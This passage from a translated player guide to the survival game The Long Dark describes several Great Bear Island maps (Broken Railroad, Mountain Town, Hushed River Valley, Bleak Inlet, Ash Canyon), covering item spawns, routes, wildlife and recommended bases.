&lt;p&gt;It has Great Bear Island&apos;s only outdoor forge, which gets the cold bonus while avoiding cabin fever accumulation. Other than not being able to let the fire go out while sleeping, it&apos;s perfect, and it&apos;s a fairly ideal forging spot on Interloper.&lt;/p&gt;
&lt;p&gt;The crate beside the bed at Old Spence Family Homestead contains accelerant, and the hidden safe inside the shed can be opened directly from a gap behind it. Also, the dog food inside the shed doesn&apos;t actually spawn inside the crate but behind it.&lt;img src=&quot;./photo/027.webp&quot; alt=&quot;Image&quot; /&gt;&lt;img src=&quot;./photo/028.webp&quot; alt=&quot;Image&quot; /&gt;&lt;img src=&quot;./photo/029.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The recommended forging routes are shown in the image. Red is the shortest route with the lowest chance of meeting wolves — apart from Poacher&apos;s Camp and Old Spence&apos;s you almost never meet a wolf — but it crosses the center of the marsh, so it&apos;s easy to get lost when visibility is poor. The blue route is more reliable: it hugs the edge the whole way so getting lost isn&apos;t a concern, and it passes a constant-temperature cave and a warm cave so you don&apos;t have to worry about losing temperature. Its downside is the distance, and the number of wolf spawns along the way. The yellow route is the longest; I don&apos;t recommend taking it if you start from Mystery Lake, but it&apos;s usable when you&apos;re lost, and it&apos;s mostly used for forging trips starting from Muskeg Ridge.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/030.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Base recommendations:
Cave (near the waterfall) Rating 2/5&lt;/p&gt;
&lt;p&gt;Pros: good location, at the junction of Broken Railroad, Milton Basin and the Muskeg, and constant-temperature. Muskeg Ridge has no wolves, plenty of rabbits and a little birch bark. Even if no moose spawns at the door, going to the nearby Milton Basin to get a few deer to roast isn&apos;t a problem.&lt;/p&gt;
&lt;p&gt;Cons: never mind a workbench and containers — there isn&apos;t even a bed, and the cave is pitch dark.&lt;/p&gt;
&lt;p&gt;Generally I don&apos;t recommend living anywhere without a bed, but the rest of the Muskeg is so poor that this is a very good relay point: whether you come from Milton Basin or Broken Railroad, you can stop here to regroup.&lt;/p&gt;
&lt;p&gt;Cave (leading to Bleak Inlet) Rating 2/5&lt;/p&gt;
&lt;p&gt;Pros: good location, at the junction of the Muskeg and Bleak Inlet, constant-temperature, with a bed. This cave is the map&apos;s only indoor rabbit spawn; a rabbit may spawn inside, though unfortunately snares don&apos;t work inside the cave. Wolves and deer aren&apos;t far, and there&apos;s a moose point at each end of the cave, so food isn&apos;t scarce. Good as a forward base.&lt;/p&gt;
&lt;p&gt;Cons: no workbench or containers, dark inside even during the day, and you see wolves when you step out.&lt;/p&gt;
&lt;p&gt;Generally I don&apos;t recommend living in a place like this, but whether you&apos;re hauling resources out of Bleak Inlet or going to the Bleak Inlet cannery to make bullets and maintain tools, this is the only relay point available.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Broken Railroad &amp;amp; Map 7&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/031.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Broken Railroad, traditional Chinese name 鐵路斷線, commonly called Map 7 &amp;amp; the Railroad. This map used to be translated as &quot;Mystery Lake Railway&quot;, which made no sense at all; it was later changed to &quot;Broken Railroad&quot;, which still isn&apos;t as good as the traditional Chinese name.&lt;/p&gt;
&lt;p&gt;Geography: the second of the maps the developers rotated 90°. The terrain is simple: a railway cutting across mountains plus a few small water basins. I just don&apos;t know why anyone would build a repair shop in this godforsaken place.&lt;/p&gt;
&lt;p&gt;Climate: basically a copy-paste of Mystery Lake, the best tier.&lt;/p&gt;
&lt;p&gt;Important resources: there is one independent hunting rifle spawn, in the canyon under the broken bridge. There are two independent revolver spawns: in a flower pot at the Maintenance Yard, and in the car outside Hunter&apos;s Lodge.&lt;/p&gt;
&lt;p&gt;Hunter&apos;s Lodge is similar to the processing plant: a gun is guaranteed, type uncertain — either a rifle or a revolver.&lt;/p&gt;
&lt;p&gt;A bow is guaranteed, with two mutually exclusive spawn points: the pond in front of Hunter&apos;s Lodge and the corpse near the locomotive.&lt;/p&gt;
&lt;p&gt;The Maintenance Yard is guaranteed to have a 4L fuel can and a climbing rope, which is exactly what you need to tie onto the climbing spot nearby that leads to the canyon. Hunter&apos;s Lodge likewise has a guaranteed climbing rope, which fits the climbing spot behind the building.&lt;/p&gt;
&lt;p&gt;There is only one bear cave, a warm cave, with one guaranteed bear. There are two mutually exclusive moose points: on the road from the Maintenance Yard to the wooden bridge, and at Hunter&apos;s Lodge&apos;s door. Apart from the pond at Hunter&apos;s Lodge&apos;s door, other waterways come with some cattails to gather.&lt;/p&gt;
&lt;p&gt;Fuel isn&apos;t lacking, but the map produces no coal. The Maintenance Yard has the odd one-off piece of coal, but that clearly doesn&apos;t match its status as a forging map.&lt;/p&gt;
&lt;p&gt;The Maintenance Yard and Hunter&apos;s Lodge both have a number of metal shelves that yield plenty of scrap metal and some cloth.&lt;/p&gt;
&lt;p&gt;In standard Interloper you can&apos;t spawn on Broken Railroad. On Interloper, the Maintenance Yard and Hunter&apos;s Lodge each have a guaranteed box of matches, and the canyon under the broken bridge and Hunter&apos;s Lodge each have a guaranteed stim.&lt;/p&gt;
&lt;p&gt;Other: you can slope-climb straight over the landslide without going around.&lt;/p&gt;
&lt;p&gt;The Maintenance Yard is one of only three forging points in the game, but the map doesn&apos;t necessarily spawn a heavy hammer, so if you come here to forge remember to bring one (and coal too). I strongly suspect that after the developers added a forge to the Maintenance Yard for the story in 1.44, they didn&apos;t adjust the accompanying spawns. On aurora nights the scattered live wires can damage the player and apply the burn debuff, so be careful. Also, breaking some crates in the Maintenance Yard may yield supplies; the important one is the one on the shelf in the second image, which has a chance to give a stim. The other odds and ends aren&apos;t important.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/032.webp&quot; alt=&quot;Image&quot; /&gt;
&lt;img src=&quot;./photo/033.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Never go down into the canyon under the broken bridge without tying a rope first — in normal play you can&apos;t get back up without one, which counts as one of the classic ways to die.&lt;/p&gt;
&lt;p&gt;Base recommendations:
Maintenance Yard  Rating 3.5/5
Pros: large space, fairly many containers, built-in forge, workbench and burn barrel (two-burner stove), and you can even light a campfire on the floor. It comes with an outdoor annex: no warming, but no cabin fever accumulation either, and it&apos;s windproof and wolf-proof, with a floor where you can also light fires freely. It&apos;s also fairly close to the bear cave and moose point.&lt;/p&gt;
&lt;p&gt;Cons: a notorious wolf den — step outside and there&apos;s a pile of wolves. Relatively far from rabbit spawns, no coal to pick up, and at night you have to watch out for aurora-night live wires.&lt;/p&gt;
&lt;p&gt;The only base with a built-in forge (surely nobody lives on the Riken), but it doesn&apos;t even produce coal, and with a small map and few resources there isn&apos;t much to do. Plus there&apos;s a pack of wolves at the door.&lt;/p&gt;
&lt;p&gt;Hunter&apos;s Lodge  Rating 4/5&lt;/p&gt;
&lt;p&gt;Pros: large space over three floors, with a built-in six-burner stove and workbench. Step out and there&apos;s the pond moose point; down the climbing rope behind the building is the bear cave, and the door is a rabbit warren.&lt;/p&gt;
&lt;p&gt;Cons: remote. The map itself is already a corner, and this building is in the corner of that corner, so to speak, cut off from the world. There&apos;s a cheesy route straight to the exit, but it&apos;s still really out of the way and inconvenient to get anywhere. Fuel isn&apos;t easy: you either go across the pond or down the climbing rope. Also the building is too empty and always feels eerie, especially at night.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Mountain Town &amp;amp; Map 8&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/034.webp&quot; alt=&quot;Image&quot; /&gt;Mountain Town, traditional Chinese name 高山鎮, commonly called Map 8 &amp;amp; Milton. The starting point of the story, and the first map many newbies encounter.&lt;/p&gt;
&lt;p&gt;Geography: laid out around the town, with mountains in the northeast and a basin in the southwest. The terrain is fragmented, and getting in and out requires climbing ropes. The map many newbies encounter first.&lt;/p&gt;
&lt;p&gt;Climate: as the story&apos;s starting map, it gets the same treatment as Mystery Lake — high base temperatures, balanced weather, moderate blizzard probability.&lt;/p&gt;
&lt;p&gt;Important supplies: two hunting rifles are guaranteed. One spawns randomly among four mutually exclusive points: the church, the Milton house (Grey Mother&apos;s house), the Milton house (the standalone one on the small hill), and Paradise Meadows Farm. The other spawns randomly among seven mutually exclusive points; describing them is beyond my ability, so see the image for details.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/035.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There are two independent revolver spawns: the Milton house (Grey Mother&apos;s house) and the crashed plane (in a backpack in the cave).&lt;/p&gt;
&lt;p&gt;There is only one bear cave, not a warm cave, near the Spruce Falls Bridge, with one guaranteed bear. There are two mutually exclusive moose points: the small pond between the trailer and the Spruce Falls Bridge, and Milton Basin. Cattails grow near all the waterways on the map, and their total number is quite considerable.&lt;/p&gt;
&lt;p&gt;As for fuel, there are many houses and no shortage of furniture, so there&apos;s no problem in the short term, but sticks are generally far from the settlements, which is a bit inconvenient long term. Coal spawns are scattered and sparse — only the two caves connecting to Mystery Lake and Hushed River Valley, and the constant-temperature cave from the Spruce Falls Bridge to the crashed plane, will spawn it.&lt;/p&gt;
&lt;p&gt;There are lots of houses; breaking down furniture including curtains and sofas yields plenty of cloth and some scrap metal.&lt;/p&gt;
&lt;p&gt;In standard Interloper you can&apos;t spawn in Mountain Town. On Interloper, the Milton house (Grey Mother&apos;s house) and the backpack in the warm cave below the picnic area each have a guaranteed box of matches; the crashed plane has a guaranteed stim and a 4L fuel can.&lt;/p&gt;
&lt;p&gt;Other: two buildings have entry restrictions. The Euro Truck gas station needs a prybar to get in, and Paradise Meadows Farm unlocks automatically with the main story in story mode but needs a key in Survival mode. The key spawns randomly among four points: the cab of the pickup in the shed, the tractor cab, on the corpse inside the broken house, and on the corpse behind the house.&lt;/p&gt;
&lt;p&gt;The collapsed houses in the town are random, but not every house has an independent probability; like Coastal Highway, it&apos;s random among several patterns while keeping the total the same.&lt;/p&gt;
&lt;p&gt;There are three points on the map called &quot;plantation&quot; (造林地); each counts toward your stats, so don&apos;t miss any.&lt;/p&gt;
&lt;p&gt;One of the crates at the crashed plane can spawn pants, and on Interloper even combat pants.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/036.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The town has the longest and tightest invisible walls of any map — the whole stretch from the crashed plane to the Mystery Lake entrance is exceptionally strict. Apart from exploits, no route from Mountain Town to Mystery Lake without climbing a rope has been found.&lt;/p&gt;
&lt;p&gt;There is an unfinished area on the map: opposite the tunnel with the wrecked prison transport bus, in the area between the crashed plane and the cave to Mystery Lake. It&apos;s presumed to be the road leading to Long Curve in Pleasant Valley; in the chapter 3 opening cutscene, Molly also picks up the female lead Astrid in this area. The cliff near the cave below the crashed plane has a kill zone, so smuggling yourself through here is impossible. There&apos;s a route near the crashed plane that goes around the kill zone and down into this area, where you&apos;ll find that apart from the terrain it&apos;s basically blank, with nothing to explore or collect.&lt;/p&gt;
&lt;p&gt;Base recommendations:
Milton House (Grey Mother&apos;s House)  Rating 3.5/5&lt;/p&gt;
&lt;p&gt;Pros: the best house in town — two storeys, large space, plenty of containers, built-in six-burner stove. Rabbit spawns are right across the street, there are many houses around, breaking down furniture alone gives plenty of firewood, and there&apos;s a car at the door for simply clearing cabin fever.&lt;/p&gt;
&lt;p&gt;Cons: no built-in workbench; the nearest is at Paradise Meadows Farm or the trailer. The town is a wolf den — step outside and there are wolves. After the climbing rope behind the house was removed, the distance to the moose point and bear spawn effectively increased. Once the surrounding furniture has been chopped up, fuel collection takes more time.&lt;/p&gt;
&lt;p&gt;Setting aside nostalgia and the nuclear fireplace, this base actually isn&apos;t that practical, but even so it&apos;s the best house in town. If you&apos;re moving supplies to Mystery Lake, Grey Mother&apos;s house is an unavoidable stop.&lt;/p&gt;
&lt;p&gt;Paradise Meadows Farm  Rating 3.5/5&lt;/p&gt;
&lt;p&gt;Pros: decent space, built-in six-burner stove, an outdoor workbench, and a burn barrel (two-burner stove) beside it. Rabbit spawns are right outside, and there&apos;s a car at the door for simply clearing cabin fever.&lt;/p&gt;
&lt;p&gt;Cons: a wolf den at the door, a very dangerous workbench, and very far from large animal spawns. Although the basin&apos;s moose point looks close on the map, there are two ropes in between, so living at the farm you can&apos;t actually use the basin&apos;s resources.&lt;/p&gt;
&lt;p&gt;A base that looks lovely but isn&apos;t actually great. Because the interior is fairly compact and on the warm side, some people find it cozy.&lt;/p&gt;
&lt;p&gt;Trailer  Rating 4/5&lt;/p&gt;
&lt;p&gt;Pros: built-in workbench, a burn barrel at the door, and a bed that heals slightly above normal (36% per 10 hours on Interloper). Close to the small pond moose point and the bear cave, and rabbit spawns aren&apos;t far either. Sticks aren&apos;t lacking around it, and both coal caves are within a normal patrol range, giving a certain coal supply. It&apos;s very close to a warm cave, so cabin fever can be cleared without pressure.&lt;/p&gt;
&lt;p&gt;Cons: cramped, with basically no containers. Although there are no wolves when you open the door, wolf spawns aren&apos;t far, and cooking at the door easily attracts wolves.&lt;/p&gt;
&lt;p&gt;Located not far from the valley exit, it can be a forward base for exploring the valley or a transit station for hauling valley resources out. Long-term residence isn&apos;t actually impossible.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Hushed River Valley &amp;amp; Map 9&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/037.webp&quot; alt=&quot;Image&quot; /&gt;Hushed River Valley, with the same name in traditional Chinese, one of only two maps with identical simplified and traditional names, commonly called Map 9 &amp;amp; the Valley. The most complex terrain of any map, probably without exception.&lt;/p&gt;
&lt;p&gt;Geography: at the far northwest corner of Great Bear Island. The whole map is split by a river valley. Overall the terrain is higher in the east and lower in the west, but the valley itself is higher in the west and lower in the east, so the terrain is extremely messy and hard to cross, connected mainly by two groups of six ice cave entrances.&lt;/p&gt;
&lt;p&gt;Climate: between Mystery Lake and Pleasant Valley — neither good nor bad. The whole map has uniform temperature, without altitude layering like the mountain.&lt;/p&gt;
&lt;p&gt;Important resources: a hunting rifle is guaranteed, spawning randomly among five mutually exclusive points: Bear Cub Falls, beside the tree trunk in the middle stretch of the Hushed River, the warm cave near the stepped lake, near entrance E of the ice cave (north), and near entrance D of the ice cave (north).&lt;/p&gt;
&lt;p&gt;A revolver is guaranteed, spawning randomly among four mutually exclusive points: the lakeside cave, the mysterious signal fire, beside the campfire in the ice cave (south), and the platform south of the waterfall viewpoint. There are also two independent revolver spawn points, the ice cave (north) and the canyon observation point; currently the one at the canyon observation point can&apos;t be obtained due to a terrain texture error (v1.94).&lt;/p&gt;
&lt;p&gt;A survival bow is guaranteed, spawning randomly among three mutually exclusive points: the deer viewing platform, the entrance of the warm cave at 12 o&apos;clock on the map, and beside the tree trunk south of the canyon observation point. There is also one independent spawn point, the ice cave (north), usually with 2 or more arrows beside it.&lt;/p&gt;
&lt;p&gt;A flare gun is guaranteed (not on Interloper), spawning mutually exclusively among three warm caves: the summit cave, Lonely Cave and Valley Cave, with a number of rounds on the corpse nearby.&lt;/p&gt;
&lt;p&gt;The valley has two bear caves, neither a warm cave, with two guaranteed bears. There are two mutually exclusive moose points, below the deer viewing platform and at the giant rock lake. Also, the place of contemplation may spawn a ready-made moose carcass; this point randomly rolls among four outcomes: deer carcass, wolf carcass, moose carcass, or nothing.&lt;/p&gt;
&lt;p&gt;Fuel is plentiful and sticks are widely distributed. Both groups of ice caves have a number of coal spawn points, and the summit cave and the warm cave in the middle stretch of the Hushed River also spawn one-off coal. Cattails can be gathered near most waterways, and the total is considerable.&lt;/p&gt;
&lt;p&gt;It has the landmark resource point the &quot;mysterious signal fire&quot;, which spawns at one of two locations at random; by habit I call them the south &amp;amp; north signal fires based on direction. The signal fire comes with a snow shelter, a piece of moose meat, a backpack (containing a Mackinaw jacket) and a whetstone, plus a corpse nearby (containing a sewing kit). On non-Interloper, the signal fire also comes with a ready-made moose backpack, and the Mackinaw backpack additionally contains a stim and a magnifying lens. On Interloper, the signal fire only adds a heavy hammer.&lt;/p&gt;
&lt;p&gt;There are four random campsite points, two of which spawn (one on Interloper), each with a fixed snow shelter, a campfire, a pot and some other supplies; on Interloper it comes with a hacksaw.&lt;/p&gt;
&lt;p&gt;There is a resource point with its own mechanic, the &quot;hidden cache&quot;, which looks like the image and spawns in various corners of the valley. Boxes at different locations give different supplies, from food to clothing to ammunition. But because they&apos;re so well hidden, neither the full set of spawn points nor the spawn rules can be verified, so those with no interest in researching it can just make do by poking around the points on the map, and those who are interested can try to work out the pattern.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/038.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;On Interloper the valley has three guaranteed boxes of matches: inside the warm cave in the middle stretch of the Hushed River, the warm cave at 12 o&apos;clock on the map, and beside the campfire in the south ice cave.&lt;/p&gt;
&lt;p&gt;Other: the mysterious signal fire doesn&apos;t last forever. For a period after you first enter the map (roughly 3-5 days) it keeps smoking; after a while, when the map reloads, the fire tower collapses and stops smoking. So after entering the map you should prioritize determining the signal fire&apos;s location. Also, although the fire tower looks like it&apos;s burning, it provides no temperature bonus at all.
The valley has no locked containers, so you don&apos;t need to carry a prybar when exploring. On the other hand there are lots of dead bushes blocking the way, which can only be opened with a hatchet &amp;amp; improvised hatchet, so it&apos;s recommended to bring one when exploring; some areas can only be reached by clearing the way with an axe.&lt;/p&gt;
&lt;p&gt;Most of this map is linked by the two groups of ice caves, which are also the only two indoor caves in the game with three exits. Entrances A, B and C form the south ice cave, while entrances D, E and F form the north ice cave. If you need to reach the two exits leading to the north and south platforms (C &amp;amp; D), you have to climb a short stretch of climbing rope inside the cave; compared with the long ropes outside, that cost is basically negligible. The south ice cave may spawn a campfire at one of three points. This campfire comes with a box of matches, a bedroll and various other supplies, and on Interloper also a hacksaw. Also, the south ice cave may spawn a wolf, so be prepared when entering; once killed it won&apos;t respawn (can&apos;t be disproven).&lt;/p&gt;
&lt;p&gt;There are two untranslated place names, Lonely Cave and Valley Cave; given the developers&apos; habits, these two caves would probably be translated as &quot;lonely cave&quot; and &quot;canyon cave&quot;.&lt;/p&gt;
&lt;p&gt;Base recommendations:
There isn&apos;t even a single roof tile on the whole map, so it&apos;s not recommended as a base. Generally you explore this map using the ice caves as shelter, and once you&apos;re done you head straight back to Mountain Town.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Bleak Inlet &amp;amp; Map 10&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/039.webp&quot; alt=&quot;Image&quot; /&gt;Bleak Inlet, traditional Chinese name 淒涼入口, commonly called Map 10 &amp;amp; the Inlet. Currently the hardest map (one of them, since there&apos;s still something like Sundered Pass where you lose temperature at high noon), oozing the developers&apos; malice everywhere.&lt;/p&gt;
&lt;p&gt;Geography: on the southwestern coast of Great Bear Island. Overall it has two levels: the upper level is a mountain extension coming from the Ravine, and the lower level is a delta area. In normal play the two levels only connect via a climbing rope.&lt;/p&gt;
&lt;p&gt;Climate: base temperatures low enough to rival Pleasant Valley, wind chill unmatched by any map, the highest frequency of high winds, and the highest aurora frequency at night. Only the blizzard frequency is slightly lower than Pleasant Valley; everything else is as bad or worse.&lt;/p&gt;
&lt;p&gt;Important resources: there are three independent hunting rifle spawns: at the end of the hidden mountain path, the cannery workers&apos; dormitory, and the ice fishing hut beside the dormitory.&lt;/p&gt;
&lt;p&gt;A revolver is guaranteed inside the cannery workshop (there are four points, all hidden in pretty hellish spots). There are two independent spawn points: inside the easternmost ice fishing hut and in the safe inside the cannery.&lt;/p&gt;
&lt;p&gt;There is one bow spawn, at the door of the trailer near the end of Coastal Highway, but it currently can&apos;t be obtained due to a terrain bug. The top of the collapsed lighthouse has a guaranteed flare gun (not on Interloper). On non-Interloper the Contemplation Lookout may spawn a bear-skin bedroll, and there&apos;s a climbing rope on the hook to the right after opening the lookout&apos;s door. Breaking some crates at the cannery yields canned sardines.&lt;/p&gt;
&lt;p&gt;There is only one bear cave, a warm cave, with one guaranteed bear. There are two moose spawn points, in the open ground behind the washed-out trailer and around the birch forest in the northwest corner of the map. Neither has moose sign, so both may be independent, but this can&apos;t currently be disproven. There are two ice fishing huts, neither with a door, catching two kinds of saltwater fish. There are many waterways, but cattails are mostly concentrated near the freshwater extending from the Ravine, and the total is small.&lt;/p&gt;
&lt;p&gt;Fuel is generally scarce; near the cannery, where fuel is needed most, you can only survive by breaking crates, and only the cave leading to the Muskeg has small coal spawn points. Believe it or not, this map even has very few stones.&lt;/p&gt;
&lt;p&gt;Other: the climbing spot connecting the Inlet&apos;s upper and lower levels has no rope by default, so if you first enter Bleak Inlet on the lower level, you can&apos;t explore the upper level in normal play. When exploring Bleak Inlet I recommend entering from the Ravine; after tying a climbing rope at the climbing spot at Contemplation Lookout, the upper and lower levels become connected.&lt;/p&gt;
&lt;p&gt;The route from the Bleak Inlet cannery to the workshop is fairly hidden: you need to climb a climbing rope in cannery building 1 and then take quite a long detour to get there, and along the way you&apos;ll trigger a wave of timberwolf spawns. If you don&apos;t want to make that loop, you can try using the rock cache and a campfire to build a makeshift bridge.
The cannery workshop has an entry restriction: there&apos;s an electronic lock on the only path, and unlocking it requires the &quot;communication report&quot; in the radio control hut below Echo One Radio Tower. Once you have the report, interacting with the lock on an aurora night unlocks the door, and after that you don&apos;t need an aurora night to enter. A normal wolf may spawn inside the workshop, so be prepared before entering; once killed it won&apos;t respawn. On aurora nights the scattered live wires inside the workshop can also damage the player, so be careful.
The cannery workshop has the map&apos;s only ammunition workbench, which can melt scrap lead into bullet heads (requires fire), combine stump remover + sulfur powder + charcoal into gunpowder, and combine gunpowder + bullet head + the matching casing into a bullet.&lt;/p&gt;
&lt;p&gt;Bleak Inlet has the only milling machine in the game, in the cannery workshop. On aurora nights it can repair the hunting rifle, revolver, hacksaw, hunting knife, improvised knife, hatchet and improvised hatchet, consuming only one piece of scrap metal each time. For the hacksaw and knives/axes, the repair success rate and restored amount are tied to the repair skill [Note 13], while the rifle and revolver&apos;s repair success rate and restored amount are fixed at 50% and 40%, which looks like a bug. When the repair skill is 100, repairing the hacksaw and knives/axes can reach an astonishing 100% success rate and 99% restored amount (tools at 0% cannot be repaired).&lt;/p&gt;
&lt;p&gt;Bleak Inlet is one of only two maps in Survival mode with timberwolves, currently the most threatening aggressive animal to players. However, this wolf&apos;s behavior and how to handle it are outside the scope of this article.&lt;/p&gt;
&lt;p&gt;Base recommendations:
Cabin (cannery workers&apos; residential area) Rating 2/5&lt;/p&gt;
&lt;p&gt;Pros: built-in fireplace, backed onto a bear cave, with an ice fishing hut outside. Near the sea so you can beachcomb, and the collapsed lighthouse not far away has the map&apos;s only outdoor six-burner stove.&lt;/p&gt;
&lt;p&gt;Cons: small space, few containers, you have to run to the cannery workshop for a workbench, and fuel is a constant headache. Bleak Inlet has bad weather and timberwolves are extremely dangerous.&lt;/p&gt;
&lt;p&gt;Generally, just on the weather and the wolves alone, Bleak Inlet can be written off your long-term residence list; if you absolutely must find a place, it&apos;s this. Timberwolves respawn slowly, so after clearing them you can survive here for a while, but the weather is just too miserable.&lt;/p&gt;
&lt;p&gt;Cave (leading to Forlorn Muskeg) Rating 2/5&lt;/p&gt;
&lt;p&gt;Same as the Muskeg chapter.&lt;/p&gt;
&lt;p&gt;Notes
Note 12: The game has three hidden skills: sharpening, gun cleaning and repair. Sharpening levels up by sharpening knives and axes with a whetstone and improves sharpening speed and the restored durability; gun cleaning levels up by cleaning rifles and revolvers with a rifle cleaning kit and improves cleaning speed and restored durability; repair levels up by repairing tools with a simple toolkit, advanced toolkit or the milling machine, and improves the repair success rate and the durability restored when using the milling machine.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Ash Canyon &amp;amp; Map 11&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./photo/040.webp&quot; alt=&quot;Image&quot; /&gt;[]O`OLO_7.png]Ash Canyon, whose traditional Chinese name is identical, one of only two maps with the same simplified and traditional names, commonly called Map 11 &amp;amp; the Canyon, Ash Valley.&lt;/p&gt;
&lt;p&gt;Geography: at the far northeast corner of Great Bear Island. The terrain is divided into multiple layers by altitude; the lowest layer is a river valley formed by waterways with lots of burnt trees, and it gradually becomes normal going up. Crossing layers requires climbing ropes, and the upper layers are connected by wooden suspension bridges, making the routes on this map very three-dimensional.&lt;/p&gt;
&lt;p&gt;Climate: base temperatures slightly lower than Crystal Lake on Timberwolf Mountain, blizzard probability slightly higher. You can think of it as a degraded version of the mountain.&lt;/p&gt;
&lt;p&gt;Important supplies: the canyon has the game&apos;s only technical backpack and crampons, fixed to spawn in the Gold Mine at the far northwest corner of the map. The technical backpack permanently increases max and min carry weight by 5kg and changes the backpack icon and sound. The crampons reduce stamina consumption when climbing ropes, lower the sprain chance when walking on slopes, and extend the time you can move on thin ice (by about 1 second). Currently the crampons still can&apos;t be repaired and are an unrecoverable consumable (v1.94). Although durability drops very slowly (0.02% per day when stored, 0.2% per day when worn as an outer layer), they lose some durability when you take fall damage, struggle, get burned or get bitten by timberwolves while wearing them, so it&apos;s best to put them on only when needed. (Note: the crampons can now be repaired)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/041.webp&quot; alt=&quot;Image&quot; /&gt;
&lt;img src=&quot;./photo/042.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Two hunting rifles are guaranteed. One between High Meadow and Angler&apos;s Den, on a log on a small platform; the other inside the Gold Mine. There are also two independent spawn points: Foreman&apos;s Retreat and Angler&apos;s Den.&lt;/p&gt;
&lt;p&gt;A revolver is guaranteed at Homesteader&apos;s Respite. There is one more independent spawn point: on the hand of the corpse by the waterfall west of the mining camp.&lt;/p&gt;
&lt;p&gt;There are two independent bow spawn points: beside the campfire on the road from Long Falls Cave to Wolfjaw Overlook, and beside the campfire below the second of the three ropes behind the Gold Mine.&lt;/p&gt;
&lt;p&gt;A flare gun may spawn beside the campfire on the small hill north of Pillar&apos;s Footrest, but with no ammunition.&lt;/p&gt;
&lt;p&gt;There is one bear cave, at Miner&apos;s Folly. Although it&apos;s just a stone corridor, it actually counts as a warm cave, with one guaranteed bear. There are two moose points, at Bitter Marsh and below the three ropes behind the Gold Mine. Neither has moose sign, so both may be independent, but this can&apos;t currently be disproven. There is one ice fishing hut, at Bitter Marsh, catching two kinds of freshwater fish. Plant resources are rich, with possibly the most birch sapling spawns in the game, and cattails can be gathered near most waterways.&lt;/p&gt;
&lt;p&gt;Fuel isn&apos;t lacking: Long Falls Cave, the Gold Mine and the cave leading to Timberwolf Mountain all have a number of coal spawn points. On the west side of the map, from the three ropes to Pillar&apos;s Footrest, there are lots of birch bark spawns.&lt;/p&gt;
&lt;p&gt;On Interloper, Ash Canyon is guaranteed to have three boxes of matches, at Angler&apos;s Den, Homesteader&apos;s Respite and the Gold Mine. A stim is guaranteed beside the road from Wolfjaw Overlook to the Gold Mine.&lt;/p&gt;
&lt;p&gt;Other: there are many routes to the backpack, each with its own merits. The red route is the plainest: a bit longer and with more wolves on the way, but at least you won&apos;t get lost. It has only one short climbing rope inside Long Falls Cave, costing just a little stamina. The blue route requires slope-climbing up to the homesteader&apos;s place and guarantees a pile of sprains. But after climbing up to the Flame Lookout it&apos;s basically smooth going — apart from watching out when passing the bear cave, the rest of the time is absolutely safe. The purple route goes into the canyon from the cave at Deer Clearing; cost-wise it inherently uses one more climbing rope&apos;s worth of stamina than entering from Echo Canyon, but you won&apos;t meet any wolves on the route — though watch the moose point below the three ropes. There are many ways to climb the three ropes; if you don&apos;t want to spend time resting midway, I recommend bringing at least two energy drinks or a stim to handle the stamina cost of three climbing ropes. The green route switches between the red and purple routes; the second half of these two can be swapped, so pick whichever you prefer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/043.webp&quot; alt=&quot;Image&quot; /&gt;
&lt;img src=&quot;./photo/044.webp&quot; alt=&quot;Image&quot; /&gt;Wolf distribution on this map is very concentrated, existing only in the low-altitude areas around Bitter Marsh, Shattered Fjord, Long Falls and Angler&apos;s Den. Once you&apos;ve climbed any of the climbing ropes, you&apos;ll never be bothered by wolves again.&lt;/p&gt;
&lt;p&gt;The bottom of the canyon has large swathes of charred tree trunks, permanently surrounded by a special filter that makes it look hazy gray, not even clearing on sunny days.&lt;/p&gt;
&lt;p&gt;The canyon has many wooden suspension bridges swaying in the wind. They look scary, but they only sway themselves and don&apos;t move the character&apos;s coordinates. The safe way to cross a bridge is to walk straight along the center line; unless you walk out through a gap in the rope yourself, falling off is very hard. Also, dropping items on a bridge is disabled, but you can still throw meat out using the decoy hotkey.&lt;/p&gt;
&lt;p&gt;Some items that may be cut story content or easter eggs are marked as &quot;point of interest&quot; on the map. The two most representative ones are the &quot;broken rifle&quot; and the bearskin coat, which has a chance to spawn even on Interloper. The broken rifle is just a name with an item label and can&apos;t be interacted with when clicked, while the bearskin coat can actually be picked up and worn.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/045.webp&quot; alt=&quot;Image&quot; /&gt;
&lt;img src=&quot;./photo/046.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The canyon has some very strange warm spots. Although they look like they couldn&apos;t possibly be warm, they really do get temperature bonuses that scale with decay. The most representative is the inner layer of the shed at Miner&apos;s Folly, which directly makes it the map&apos;s only warmed workbench: crafting here means you don&apos;t have to worry about temperature and can also clear cabin fever risk.&lt;/p&gt;
&lt;p&gt;The absurd warm spots:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./photo/047.webp&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
